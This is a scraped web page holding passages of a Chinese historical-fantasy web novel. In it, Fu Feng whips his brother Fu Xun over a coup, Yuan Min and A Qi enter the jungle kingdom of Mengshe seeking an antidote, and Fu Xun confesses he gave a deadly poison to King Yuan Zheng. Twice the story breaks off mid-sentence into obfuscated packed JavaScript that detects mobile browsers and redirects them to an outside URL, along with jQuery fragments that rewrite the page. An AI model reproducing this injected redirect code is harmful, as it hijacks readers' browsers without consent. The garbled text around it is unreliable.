苻沣疾步冲到苻洵面前,一扔长枪,左手揪住他胸襟,右手紧握成拳,照着他左脸便是狠狠一拳,而后松开左手,对着右脸又是一耳光。双目血红,大声质问:“你到底做了什么?” 苻洵不躲不闪,硬生生被拳头和耳光打得歪过头去,倒退两步才站稳,却依然笑着,举袖轻拭唇角沁出的血:“不过是,妓馆杀两个纨绔子弟,当街杀几个闹事暴民,宫变杀几个叛贼,何错之有啊?” 苻沣唇角狠狠抽搐:“纨绔子弟也是人命,至于你说的那些暴民,他们不过是义愤填膺,稍加疏导便可化解,你却为何要杀人,越演越烈?” 苻洵笑容无辜:“那都是陛下的旨意啊!” 苻沣青筋暴跳:“少在我面前耍这些花招!渝安郡叛乱,你既已早得消息,为何不上报陛下?” 苻洵低着头,双目却向上抬起,宛如鹰隼死死盯着苻沣,笑道:“那自然是为了天下苍生,还有哥哥你啊。” “你!”苻沣忍无可忍,抽出腰间马鞭就挥去,直抽了十几鞭,苻洵已衣衫破碎,脸颊、身躯上全是鞭痕,却站得巍然不动,硬生生领受。 苻沣打得手软了,扔掉马鞭,跪地嚎啕大哭:“你自小孤弱,又入翊为质多年,你在外面那些年,哥哥吃也吃不下、睡也睡不好,想着你在外边受苦。” “好不容易接你回来,纵着你花天酒地、纨绔浪荡,疼了那么多年,怎就将你养成个不忠不义的逆贼啊!” 苻洵也俯身,跪在苻沣对面,伸出袖子替他拭泪,微笑安慰:“哥哥,你有妻有女,我却只有你啊……不替你打算,还能替谁呢?” 苻沣抬头,看着全身血肉模糊,却犹自微笑的幼弟,长得高了、漂亮了、健壮了,长得有脑子了,却长成了他最陌生的模样。 苻洵垂眸,唇角依然挂着笑,轻轻道:“哥哥,苻治嫉贤妒能、往昔是如何对你的,你都忘了么?他对外卖国求荣、对内屠戮子民,看看我们荣国成什么样了,白骨露于野、千里无鸡鸣。王上?国君?他配吗?” 苻沣颤声道:“王有错,臣当劝诫之、直谏之、助其改之,你却叛之、弑之,害得荣国烽烟四起的罪人是你啊!” 苻洵低声,却字字铿锵:“我不过是拨乱反正!” 苻沣失声大吼:“你凭什么?” 苻洵缓缓昂首,傲然道:“就凭我有一腔报国心、三尺青锋剑;就凭有人以性命起誓,在他有生之年,铁蹄不过龙骨关、片帆不渡阜门峡;就凭哥哥你,是比他苻治更好的王。” 苻沣心下巨震,外面天空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981229|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽闪过两道电光,撕拉开沉沉黑云,雷声如万马奔驰、轰隆而来,狂风乍起。 . 元旻、阿七乘船行了两日,只见峰峦叠嶂、浩瀚幽静,峡谷之间一条波陡浪急的大江往南而去,正是延江。 再往前,水道渐窄,山陵愈发险峻,驶出时宛若穿过一道顶天立地的巨门,故称之为“阜门峡”。 复行四五日,山陵岧峣、江面昏暗如夜,已至云安。仆从举手北指,道:“冯公子,从此处上去,可至南篱西段,是否寻浅滩靠岸?” 元旻沉吟不语,似已陷入沉思,阿七不敢惊扰,幸好仆从呼唤多次,方才如梦初醒道:“寻浅滩,靠南上岸。” 仆从大惊失色:“冯公子,南边可是蒙舍国地界。” 元旻正色,平静道:“我正是要去蒙舍国。” 仆从忙不迭劝阻:“公子慎重,里面可都是些茹毛饮血、擅巫蛊用毒的蛮黎人,千寨万垌可不是说着玩的。” 阿七心里暗笑,元旻从来就是最有主意的人,劝得住个鬼。 果然,元旻并不理会,道:“抽八名体壮的脚夫,与我们一并上山,你们且一路东行,在西陵等我们便是。” . 蒙舍国,山连山,山叠山,山外有山,山上有山,峰峦起伏、蜿蜒连绵见不到尽头。 刚一踏足,只见巨木参天、其上各种藤条攀缘勾连,亭亭如盖,遮光蔽日,脚底堆积着厚厚一层落叶,松软腐烂,如踩在沼泽上。 元旻让八名脚夫抬着箱子在密林外围等候,自己带着阿七在前探路,探清楚了一段、便用短匕在树上刮出树皮标记。 他又将地形图铺开,那是一张山脉走向图,长宽逾丈,其上密密麻麻标记了各处山头、村寨名称,阿七越看越眼熟。 见阿七疑惑,他笑道:“六七年前南篱筑成之时,崔长治绘蒙舍国地图献与父王,父王将此图赐予我……对了,还是你帮我回兴庆宫取来的。” 经他提醒,阿七想了起来。约是二月中旬,阿七刚忙完了金鸡岭的事,正打算带着天璇天玑进戎陵群山,忽收到元旻传信,让她先从兴庆宫取来这张山脉走向图。 心下稍定,却听元旻叹道:“果然只画到北限。” 阿七不解其意,又想到当时让他取图很是突然,像是临时起意。 让梅老板采购提花缎和银砖也是年后。 这期间发生过何事? 正思忖间,忽听元旻低喝“当心”,她感觉脚踝处好似有什么“嘣”地一下,断了。 惊变陡生。 雀鸟乱飞,树丛间响起一声清脆的铃音,而后,无数铃声纷纷乱响起来,将更多雀鸟惊飞。 元旻一把揽住她,旋身向左转了几圈,只听嗖嗖数声,三发箭矢穿过她方才站立的位置。 似被什么弹飞,元旻旋转的动作一滞,抱住她反向贴地一滚,避开从树顶砸落的一网兜石块;又足尖轻点,带着她跃上树梢,足尖点下的地方落叶簌簌震落,凹进去个两丈深的陷坑,隐约看见刀尖凛凛。 惊魂未定,刚匀了口气,脚下的树枝“嘎吱”一声,断了… 电光火石间,两人急遽向下坠,阿七右手一扯一甩,挥出腰间长鞭缠住一根较粗的枝桠,左手紧紧抓住元旻一只手,用了几次力,却无论如何也无法将他甩上去。 果然男女力量悬殊。 就在此时,“嗡”一声,无数毒蜂从密林深处飞出,扑向他们。 阿七忍着肩背手臂撕扯的疼痛,叹了口气,合上双目,不忍直视即将肿成猪头的他们。 20. 千寨万垌 那蜂群飞来,却无一只近他们身,只是将他们团团围住,在距离他们一两尺之处旋转,似乎极为焦躁。 “放手!”坠在她左手上的元旻低叱。 阿七瞥了一眼刀丛般的陷坑,心突突直跳,眼眶一热,大喊:“不放!” 要她放弃元旻自行逃生,还不如一起死。 元旻:“我像是找到路了。” 阿七才知刚刚会错了意,脸刷地红了。 坠在下方的元旻反不急了,看着她笑了半晌。而后,借她手臂一荡,足尖伸出在身后巨树上一点,借力跃起,一把捞起她,再次蹬在树枝借力,将二人一起带上树顶。 两边肩膀传来撕裂般的疼痛,本就脆弱不支的两只手臂,被元旻这一借力,像是脱臼了。 元旻深深看她,欲言又止,一手按住她肩膀,一手抓住她胳膊,轻声道“忍着点”。 阿七似乎还未从环环相扣的变故中回过神,怔愣道“刚刚那是?” 元旻道:“蒙舍国的‘北限’。” 阿七第一次听这名字。 元旻解释道:“蒙舍国风俗与别国大相径庭,也不屑踏入长流川之北。在崔长治凿石依山脊筑南篱之前,蒙舍王就已出动数万族人,以长流川南岸线为凭,因地制宜筑起他们的北防线。” “只因南篱巍峨,北限无形,世人大都不知后者。” “倒真是老死不相往来”,阿七失笑,“不晓得两族互相提防着什么,弄成这样?” 元旻颔首:“两国曾约定‘蛮黎不出境,他族不入寨’,我当时也好奇,还特意跑去凰羽寺查典籍……” 阿七静等他说下去,他却转开话题问:“好些了没?” 阿七点头,指向头顶藤蔓道:“殿下所说的路,在头顶?” 藤蔓在头顶结成巨大的网,每根“绳”都有婴儿手臂粗,看去十分结实。保险起见,想伸手去试藤蔓是否结实,定睛一看却起了一身鸡皮疙瘩。 藤蔓之上万虫集结,密密麻麻爬满了蜈蚣、蚂蚁、蚯蚓、蚰蜒……甚至还有几条拇指粗的小蛇缠绕着吐信子。 “方才的毒蜂提醒了我,”元旻抬手,伸进藤蔓间密密麻麻的毒虫之间,“看。” 似一滴水滴入沸腾的油锅,藤蔓上盘踞的毒虫“簌簌”数声,以他手为中心,缓缓退开一尺左右的圆。 阿七讶异:“这?” 元旻唇角弯了弯,问:“你可记得,元氏先祖,曾自称凤凰后代。” 阿七心道,这不是传说吗?荣国苻氏还宣称自己祖先是白狮,北宛冯氏还宣称自己祖先是狼。 “可能是真的”,元旻看她脸色,已猜到几分,笑道,“蒙舍国长年隐于深林,雾瘴极重,生于斯长于斯的毒虫阴气极重,而凤凰寓火。” 阿七听他说完,不免担忧,照此说来,也只他一人无恙而已。 元旻却已抓住她胳膊,缓缓将她的手伸上去。 阿七登时头皮发麻,瑟缩着紧闭双眼,想砍了那只伸出去的手。 她不怕豺狼虎豹,生平最怕,便是这密密麻麻的小虫子。 设想中的恶心瞬时令她全身颤栗,然而想象中的手感并未到来,只听“轰”地一声。 睁眼看去,只见无数虫子争先恐后往外挤去,退出三五尺仍在疯狂奔逃。 昏昏光影中,元旻低头看他,意味深长道:“阿七,你可是重明的后人。” 重明,其形似鸡,鸣声如凤,目生双瞳,能搏逐猛兽,有净化人世间的污秽的力量。 他二人,俱是肉体凡胎,这后人之说,应是另一重含义——她最关注的,自己的身世。 阿七别开脸,默等片刻,见他又不继续说了,于是悻悻道:“卑职好了,走吧。” 元旻巍然不动,阿七诧异地发现他正看向某方位的密林深处,那里灌木丛无风自动,似有伏兵攒动。 好得很,都不必走了。 二人正思忖着是直接投降,还是战一战免得对方瞧不起自己,忽的,一声闷雷在半空炸响。 山间忽起了一阵风,强劲激烈,蛮横地在林子里冲撞,所有树开始疯狂摇晃,片片青翠浓绿的树叶被吹落、撕碎,飒飒飞舞满天。 雷声轰鸣,似无数巨轮在山涧中滚碾,本就昏暗的树林瞬间暗下来,冥冥如夜。 一声震山裂石的虎哮穿透黑暗,随后无数猿声的尖声嘶叫盘旋林间。 “这不是北限防兵,这是……”元旻诧异了片刻,似有所感,瞳孔一缩,“山鬼出巡!” 说时迟那时快,他一把揽住阿七从树上跳下,也不顾周围丛林危险丛生,迅速将佩剑、砍刀和短匕卸下放到地上。 然后单膝跪地,躬身,左手下垂,右手向右舒展、大开大合画了个圈,握拳斜斜收在胸前,拳头正放在心口。 阿七不明所以,忙学着他,迅速卸下刀兵,单膝跪地,躬身画圈握拳行礼。 影影绰绰,无数不认识的巨大鸟类似离弦的箭矢,上下交织着冲向同一方向,将前方阻碍一并清空,而后是几十只长近两丈的吊睛白额巨虎咆哮开路,白猿尖声嘶吼,烈云穿石、震得人耳中刺痛。 一头赤色黑纹、长达三丈高约一丈的巨豹缓缓走过,豹身坐着一名妙龄女子。 藤萝、薜荔、织成蔽体衣物,头戴辛夷、白芷、秋菊、石兰和一些不知名的芳草织成的花环;露着的手臂、腰、小腿肌肤白得透明;碧色眼瞳好似两泓深潭,神色肃穆看着前方。 经行时,似听到清脆的环佩撞击之声。 阿七正仰望得发痴,紧随其后的一群文狸齐齐转身向她呲牙,发出示警的咆哮,阿七忙低下头… 而后豺狼、麋鹿、兕、象、巨蟒、上下翻飞的麻雀、虫、蜂等络绎不绝…… 百兽过境。 这场声势浩大的行军,足足走了快两刻,才逐渐远去。 风雷渐止,昏暗的树林逐渐敞开亮光,就连空气中的潮润、腥冷之气也迅速散去。除了那弥散在空气浓浓幽香,刚才发生的一切,仿佛一场梦。 “殿下,山鬼是谁?鬼还是神?” “自然是人,山鬼之于蒙舍,等同凰羽寺祭司之于大翊,只不过她们是野生野长的,选拔和传承方式都十分隐秘……具体我也不知,听说寿命较一般人长数十年,有祈风祈雨、驾驭百兽万蛊之能,蛮黎两族将其当做山神供奉。” 阿七犹自惊疑,清脆的笑声在周围响起。 树丛拂动,唰唰冒出一队人马。先出现的是武器,三尖虎叉、红缨枪、棍、刀;然后是身披草衣、短裙、赤足的男子,约百来人,神色肃穆,将他们团团围住。 最后走出一男一女,都穿着色彩斑斓的布衣和短裙,男子头发用赤色布包裹起来,女子黑发在脑后挽成椎髻,用一支银簪挽起。 元旻站起来,再次右手向右舒展、大开大合画了个圈,握拳斜斜收在胸前,阿七忙照做。 那领头的女子笑了起来,对旁边男子说了几句他们听不懂的话,男子简短回了两个音符。 于是那女子朗声笑着,走上前来,用他们都听得懂的语言道:“好俊的身手,翊国人?荣国人?” 元旻再次施礼,躬身长揖道:“在下冯四郎,翊国人,家父身中奇毒,特来求药。” 那女子将他上下打量一番,厉声道:“你撒谎,过虫阵毫发无损,你们都身负神鸟之血,如何会被蛊毒侵染?” 元旻无奈叹气:“不知寨主可知一种毒,无色无味无知觉,却能将情绪对五脏六腑的伤害放大到极致……” 女子脸色一变,看向身边男子,男子神色凝重,点了点头。 女子又将看向阿七,问:“她是谁。” 元旻吸取教训,道:“她姓褚,是我未过门的妻子 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入得寨子后才知,他们只在御敌时才用古语传信。此处语言与外界差异并不大,说得慢些沟通是无碍的。如此的话,此行会顺利许多。 蛮族待客热情,进寨门时蚩烁高呼了一声,霎时间冒出二十多个少男少女,吹笙击鼓、载歌载舞,端着酒坛、牛角杯,拦成十二道关卡。 于是二人每人十二牛角米酒,扶着滚胀的肚子爬上山去。 隔壁隐约传来低语,元旻心念一动,又想到那二十多牛角杯米酒。他是应酬惯了,水一样地喝下去,阿七却是一杯倒,十二杯下肚脚底都飘了。 听武煊说,她不但酒量浅,喝了酒还会一反常态地健谈,一问就答。 推开门时,元旻暗骂自己越活越回去了,却还是蹑手蹑脚走到床前,俯身看她。 木窗关着,房间里聚着清甜的米酒香,轻推开窗。天空中一轮凸月,此处的月亮似也比中原的大一些,亮一些。 床上的人双眸紧闭,嘴里喃喃呓语着什么“老六,再来……”双颊瓷白的肌肤上浮着两团酡红,像揉多了胭脂,头发有些散在脸上,粘着汗与林间尘土。 他从不与人商量,又说一不二,而她也绝不多言,只知追随、听从、毫无怨言,他们已习惯这样相处。然而,此刻想起她一次次出生入死,他心头忽涌起愧疚和不忍。 元旻去院中井台上打了水端着上来,绞干帕子,小心翼翼为她擦拭汗和泥。 阿七仍在低声呢喃。 “师父,我会飞了……” “娘娘,今天先生讲到《尚书》了……” “玉衡你不许欺负天玑……天璇也不行……” “开阳,咱们上去杀他三百回合。” “天枢,不准偷偷吐酒哈哈哈……” 元旻满怀期待听了许久,一个个人名从耳边飘过,他认识的和不认识的,唯独没有他。眼神逐渐失落,将帕子放回盆中,端起来打算出去。 就在此时,后面传出低低的一声“殿下”。 元旻浑身一僵,缓缓回身。 “殿下,你能不能慢点?”阿七仍是醉着的,喃喃道,“我愿意跟着你,可我一直跟着你的背影跑,跑得好累……” 他轻轻放下水盆,坐回床边,自言自语道:“我若是不跑,怎么坐上至尊高位?怎么保护母后?怎么与你长相厮守?” 却听她继续喃喃道:“没事的,我会想办法让自己跑得更快。” 他眼中露出一丝满意和欣慰,伸手抚摸她的额角,指头顺着莹白的脸颊往下。 忽然,她嘴唇噏动,模糊不清地轻声呢喃,他附耳过去,听清了她呓语的内容。 笑容霎时凝固在脸上。 她连续不断重复的那句话,说的是:“阿洵……对不起……” 21. 外室子 次日清晨,元旻起了个大早,潇潇派人来告诉他,等在后面的八个脚夫找到了。 热情的寨民一边帮他们抬着大箱子,一边再次高呼,于是又冒出十多人… “蛮族重银轻金,尤爱彩布,冯公子可谓诚意十足,”潇潇看着村民将银砖彩布抬下去散了,眼神忧虑,“只是受之有愧,公子提到的毒失传已久,蚩烁也只听说过。” 见元旻不语,潇潇道:“往南翻十来座山,有个腾龙洞,里面那位老蛊婆有一百多岁,或许知道些,只是深山老林翻过去来回就得快十天。” 元旻忙躬身施礼:“晚生为父奔波,不怕疲累,只恐叨扰了贵寨。” 潇潇点头道:“我们十八寨既收了公子的礼物,就是朋友,别说是翻个山,要上蒙舍王城找蛊王蛊母也使得。” 元旻感佩:“当真重情重义。” 潇潇看向远方,怅然道:“他们又纯粹又讲义气的,只是人心狡诈,难免为恶徒所利用。” 忽又转头问:“此毒隐秘,就连蒙舍人知道的也甚少,公子是从何处得知?” 元旻沉吟半晌,幽幽道:“荣国的一位故人。” . 洛川别苑的夜晚,后花园露白风凉。 池中的荷花弥散满院清香,池边一棵高大的木芙蓉下,二人对坐饮酒。 苻沣回想起近来纷扰,颇为感慨,眼中露出一丝担忧:“王都附近的乱兵收拾得差不多了,就是不知遂州、定远和渝安那边如何了。” 苻洵弯了弯唇角,温声劝慰:“哥哥手下的那些将领都很能干,再过些日子也就收拾干净了。眼下朝臣们都一致推举你继位,依愚弟之见,差不多是时候了。” 苻沣思索半晌,神色逐渐放松,点头道:“事已至此,我再推拒也不甚妥当,不如赶鸭子上架,尽心竭力为这江山社稷思虑。你举荐的那位景樊颇有些才干,本想让他留在灵昌的,不知为何非要跑去渝安。” 苻洵笑意恍惚而深远:“可能也有放不下的人吧。” 想了想,又问到另一事:“哥哥,嫂子她们到哪里了?” 苻沣唇角逐渐翘起,眼里满是柔情:“玥娘和母妃明天就到了,既然你与母妃没有缘分,我也不好强求,往后多进宫看看我跟你嫂子便罢了。” 想了想又说:“刚过完年那几天,你急吼吼找人给我送信、说准备订婚,是那位锦瑟姑娘吗?虽出身低了些,可瞧着品格性情还不错,你也年近十八了,若真的喜欢也未尝不可,以后好好过日子就成。” 苻洵笑容苦涩:“我想娶的那个人,可能娶不到了……不说此事,哥哥,我最近总是梦见娘亲。” 苻沣默默注视着他,有些痛心:“过去的事了,莫再去想,往前看。” 十五年前,孟太妃当时还是孟贵妃,跟他说父王在渝安养了个外室,不晓得是什么样的妖精,迷得父王几个月不回灵昌,不伦不类连孩子都有了。 他本不想掺合这些事,耐不过母亲天天念叨,就去了一趟渝安郡。循着查到的地址,推门进去时,他惊呆了…… 一屋子蛇、鼠、虫、蚁、蜈蚣、蝎子密密麻麻爬了满床,啃着床上一具血淋淋的尸骨,已啃得只剩骨架子。床边跪着个三岁大小的小孩,一只手攥着尸骸的手骨,一只手努力将爬在母亲头骨上的毒虫拿开。 那孩子两眼红红、似已流干眼泪,嘴唇干裂形容枯槁,几天水米未进,只是跪在那,机械而徒劳地拿开毒虫,喃喃呼唤着面前再也不会醒来的亲人:“剌纽……醒醒……剌纽不要诃那了……” 剌纽,蛮语里的“娘亲”。 若再等几天,这孩子也会无声无息死在母亲尸体旁。 这是他第一次见到苻洵。 安葬好那具惨不忍睹的尸骸后,他将那孩子抱回了灵昌,有生以来第一次忤逆母亲,求父王认回了这个孩子。 苻洵眼圈发红,唇角却笑着,轻声道:“在她故乡,不管多远,人死后都要葬回出生地,再在上面种上一棵树。” “多年来,承蒙兄嫂悉心照拂我这顽劣之人,教养之恩无以为报。如今大业将定,哥哥再无剑悬于顶,又阖家团圆,我也算了结一桩心事,对此地再无其他眷恋。哥哥,放我去渝安吧,我想同母亲一起归去。” 苻沣眼圈也红了,颤声劝慰:“阿洵,你还年轻,不可如此消沉,何况那是蒙舍十万大山。” 苻洵闭上双眼,将泪水关在眼眶里,唇角却仍是笑着的,柔情无限、期冀无限。 “那是我的来处。” . 十八寨依山而建,依的这座山,名叫凤鸣山。 蛮族实行树葬,老死的将棺椁埋下、横死的烧成灰洒下,然后就地种上一棵树,树木一天天茁壮,就好像过世的人依然陪伴周围。 于是,阿七不敢在林子里练武了。 山顶有一块平地,芳草茵茵、山风飒飒,云气翻滚中浮着朵朵黛青山头,有雾霭、有朝阳、有流霞、有月亮。 阿七爱极了山顶这方净土。 这些日子在十八寨,每天帮着寨民种田、打理果树菜地、加固房屋、修缮武器,余下的日子她总爱来山顶,竟感到从未有过的宁静。 算算日子,元旻走了快十日,也不知他现在如何了,快回来了吧? 一念起,忍不住欢欣起来,迎着将尽的夕照加快了身法、大开大合,长鞭如游龙惊鸿上下翻飞。 一阵山风吹来、前襟忽然一空,心口处那块染血的丝巾飞舞起来,阿七忙抽出长鞭想卷回,风向却陡变,直卷着丝巾舞向崖下。 阿七一边甩出鞭子想卷住什么,身子已直扑崖下。右手却一空,连人带鞭一起坠下。 糟了,忘了崖顶是草坪。 阿七心惊,下坠时好容易有一块细微凸出,借力一跃甩鞭,却依然什么也没卷住,身子却因用力而失衡,再度向下坠去。 电光火石间,鞭子似乎缠住了什么。 阿七抬头一看,鞭子缠着一只因用力而青筋暴突的手,往上是雪白的袍袖,再往上看不太清,隐隐是那人另一只手死死扒住崖边一块凸起,那石头并不便着力,那只手正一点点滑下去。 照此下去,必然是两人同时坠崖。 阿七暗叹,眼一闭心一横道:“多谢义士相助,生死有命,放手吧。” 上头那人一言不发,抓住鞭子的那只手却仍在用力缓缓转动手腕,将鞭子一点点缠在手上,阿七也被一点点提上去。 上头忽然一松,抓住崖顶的那只手终究不支,蓦地滑落。 同时,阿七感觉手腕一紧,一股大力传来,天旋地转,而后落到实处。 那人在气力即将耗尽时,用尽最后一点力量将她甩了上去,这也加速了他的坠落。 两人擦身而过时,她终于看清了那人,竟是苻洵,不知是否是错觉,下坠的他,唇角却绽出一丝微笑。 阿七目呲欲裂,甫一沾地,快若闪电又一鞭甩出、伏地、抓牢地面石头。 这次卷住了,也抓稳了。 伸头看下去,云蒸雾蕴间,苻洵唇角带笑仰头看她,眼神似曾相识,清澈而明亮,缱绻得她心尖重重一揪。 “不想在此重遇姐姐,幸甚”,苻洵微微躬身,“幸亏在下来得及时。” 阿七发现他与以往大不相同,全身缟素,就连腰上锦带、发带也是白的。不禁收敛劫后余生的笑容,微微躬身回礼:“方才之事,多谢侯爷出手相助,不知如何报答,至于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981231|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 她瞟向他白色的发带,声音轻了些:“请节哀。” 苻洵垂目,唇角笑意似有还似无:“家母过世已十载有余,在下自会节制,多谢姐姐关怀。” 舜英讶异:“令慈不是孟太妃?” 苻洵摇摇头:“她是哥哥的生母,在下只是记在她名下的一个外室子。举手之劳、并未帮到姐姐什么,姐姐若不弃,可否陪在下小坐片刻?” 而后便是长久的沉默。 晚风中,二人隔了两三尺坐在草坪上,看天色慢慢黯下去,月亮逐渐亮起来。 苻洵往她左肩看去,有衣袍遮盖,什么也看不出来,目光上移,却见到她头顶那枚与芙蕖簪极其相似的木槿簪子。 他喜欢的,那个人也喜欢。 她头顶最终簪着的,却是木槿而非芙蕖。 阿七见他看向自己头顶,颇为愧疚,忙解释说:“殿下一直很和善的,许是那日情绪不好,他平时并不如此。” “无妨,我也并不喜欢他”,苻洵轻声道,笑容苦涩,“有人运气很好,可以一直高瞻远瞩、目视前方,反正总有的是人追随他的背影。有的人运气很差,永远只能看别人的背影,倾其所有,也求不到别人回首看自己一眼。” “我对他的不喜欢,也仅限于此,而已。” 阿七听他说得平静,全无平时那显而易见的撩拨之意,心里踏实了些,转过头认真端详着他。 忽然有些明白,苻洵平时为何总是穿红着紫,笑容灿烂。 他但凡穿得素些,笑容浅些,只需静静坐那,便觉得无边孤寒。他抬头看向天边月,山风鼓荡着他全身素白,吹得他额边两绺乌发乱飞,看上去像一只即将碎掉的素白瓷瓶。 “诃那,娘亲给我起的名字”,他突然开口,轻轻道,“蛮语里是‘月亮’的意思。” “蛮不出境,出蒙舍者,三年内必被万蛊食尽血肉”,苻洵低头,轻轻笑了,“什么大翊南篱、蒙舍北限,到头来,真正困住的,只有那个放不下舍不得的她。” 阿七略一想象万蛊分食的画面,打了个寒颤,忍不住问:“令堂定是爱先王至深。” 苻洵闭上眼,笑容有些讽刺:“她是为了我,父王当年与她不过露水情缘,蛮族民风开放,那样的事其实也不算什么,直到有了我……” “也不知父王同她说过什么,她总觉着带我出去,会对我前程更好。” “后来,我晓得了所有的事,就总想,若我当时胎死腹中就好了。” 阿七静静注视了半晌,轻声说:“我从生下来就没了娘,娘娘说她是为国战死的女将军,我找了很多记载却没找到她。” 顿了顿,她苦笑着继续道:“其实娘娘和殿下都待我很好,他们的大恩就算我豁出命去,也还不起。可我有时候想,如果和娘亲一起长大,可能会很苦,心里却总要踏实些。” “而不是现在这样,连自己是谁都不知道,总感觉拥有的都是镜花水月,不知何时就会成空。” 她目不转睛看着苻洵双目,柔声道:“所以,我晓得你什么感受。过不下去的时候多想想娘亲,她受尽苦楚才生下你,定是盼着你好好过下去的。你年纪轻轻,要惜命。” “在下这十八年,过得实在潦草,也想不出有何可惜,”苻洵脸上笑意更淡了,唇角的苦涩越来越深,忽然带着期冀看向她,“若姐姐觉得我这条命,有值得珍惜之处,我可以试着去珍惜。” “怎么没有?”阿七几乎脱口而出,“你又俊美又聪慧,令兄若继承大统、你便是从龙之功,年少有为前途无量……” 她突然停住了,因为苻洵眉眼逐渐漾起笑意,又显出几分柔情缱绻:“姐姐当真觉得我有这么好?” 22. 为谁风露立中宵 苻洵一露出那样的微笑,阿七就莫名想到舞阳山,想到……心跳得像擂鼓,双颊开始发烫。 她不动声色移开目光:“是啊,待你回归故国,定能与令兄珠联璧合。” “我志不在此”,苻洵摇了摇头,“姐姐呢?下山后有什么打算?” 阿七不假思索脱口而出:“自然是追随四殿下靖平内乱,拥戴推举他为王……” “然后嫁给他,外辅国政、内掌六宫”,苻洵笑了,悠悠接口,“别的不好说,不过他必定不会亏待你。” “不是的,我是他的内卫,他没有要娶我的意思”,阿七不假思索地否决,口不择言,“虽然我心悦他,却没想过会嫁给他。” “心悦却不想嫁给他,那你想做什么?”苻洵苦笑,眼神带着探究。 阿七蓦然意识到自己说了什么,马上收住话头,沉默了许久。 她突然发现,自己从未想过助元旻夺位成功之后,自己的路要怎么走,思忖半晌后搪塞道:“届时再说吧,好好与四殿下商议。” 苻洵挑了挑眉,满眼心痛和难以置信,冷笑出声:“你是与他签了卖身契吗,提着脑袋替他夺位也罢了,自己往后的路要怎么走,还需要同他商议?” 阿七叹了口气,没有说话,陷入了沉思。 苻洵静静注视着她,不再追问,只笑了笑,温和而沉静:“但愿姐姐能走自己想走的路,而非别人想让你走的路。” 似一道惊雷霍然撕破神魂,阿七心头巨震,惊愕地抬眸看向他。 苻洵却不再提这茬,若无其事从袖中拿起一个红色小瓷瓶把玩,然后塞进她手里:“在下有一物想赠予姐姐,权当谢姐姐开解我,用得着、用不着都请勿嫌弃。” 阿七想到那破碎的芙蕖簪,莫名心虚,郑重地接过瓷瓶收好,好奇地问:“什么?” 苻洵淡淡一笑:“毒药。” “娘亲过世时,给我留下了她的毕生心血,若非守着它们睹物思人,我确是一天都活不下去。” 阿七讶异道:“何毒?” 苻洵低头,轻声说:“一独活,二相思,三七情,四忘忧。” 阿七不解其意。 “独活、七情、相思,都是人间至毒”,苻洵抬头合眼,感受着越来越凉的夜风,声音轻得像叹息。 “独活者,味觉、嗅觉、视觉、听觉、触觉渐失……如被关在一个无限大的虚空寂无之中。” “相思者,如同情蛊,服下之人一生便只能念着一人,一旦心悦别人,摧心伤肝,却迟迟不能死去……就是姐姐手里的这个,娘亲当年终究不忍对父王下手。” “至于忘忧,我已用过。” 阿七听得入神,问:“如何?” 苻洵唇角浮现一丝柔情:“曾有一人,不因我丑陋、肮脏、残缺、卑弱而心生嫌弃,反而护我、怜我、疼爱照拂于我,我却怕她记得我曾如此不堪过,于是算计她喝下‘忘忧’。” “此后她脑中所有关于我的不堪记忆都消失了,幸此药于躯体无碍,也不知她若知晓,会不会原谅我?” 阿七温声宽慰道:“令兄疼你至深,如此小错,定会原宥。” 苻洵的笑容似乎明快了些,阿七不知为何也松了口气,想了想提醒道:“还有七情呢?” “这最后一种,七情,本想在寨子里等四殿下归来后再说”,苻洵看向山下,“他也快回来了吧?” 阿七心头一动,眼睛猛地睁大:“一种无色无味无知觉,却能将情绪对五脏六腑的伤害放大到极致的剧毒?” 苻洵道:“第一次见殿下,我提出与他做个交易,完成后我任他处置,他拒绝了……” 阿七心中有一丝不祥预感,怔怔看向他。 苻洵笑容不减:“我让他帮我杀个人——你们现在的王,也对,无凭无据他如何信我?” 阿七震惊得睁大双眼:“这毒与你,与元琤……” 苻洵点头:“六年前父王战败,我还在昇阳作质子,为了活命,与元琤做过一个交易。” 阿七悚然震惊:“你将‘七情’给了元琤。” 苻洵侧头看向山下,万家灯火如缀在山上的一片星河,却寻不到哪一盏是为他而亮。 他摇摇晃晃站起来,道:“如今,是时候让他知道了。”转身走向山下。 阿七心中不祥之感更浓,追过去劝阻:“你当时是无奈之举,现在何必再告诉他,将自己搭进去自寻死路?” 苻洵背影一滞,却没有回头。 阿七眼中涌出泪水,大喊:“不要去!” 苻洵唇角扬起一抹笑,继续慢悠悠往山下走去,夜风萧萧,送来他的声音—— “曾经,我只想和母亲永远生活在渝安那个小屋子里。” “然后,我挖空心思,只想得到父王喜爱。” “后来,我无底线、无操守,只想在昇阳活下去。” “再后来,我想为哥哥谋划个好前程,让他看到我就高兴。” “我还想得到姐姐芳心,让姐姐也心悦我。” “凡我所求,皆不可得;凡我所冀,皆成泡影,我累了……”,苻洵的背影顿了顿,声音忽然变得温柔,“如今,我只想与娘亲同归故里,无论是生是死。” 风越吹越大,吹得他声音飘渺而苍凉:“吾不识青天高,黄地厚,唯见月寒日暖,来煎人寿。” 苻洵突然转身看向她,唇角绽出个灿烂的笑,如开到极盛的烟花:“姐姐,你终于在背后看我了。” . 蛮族有秘药,名“红尘”,取情蛊所采的桃花粉酿成蜜,合为香丸,化入水中服下,眼中便只看得见意识最深处的心悦之人。 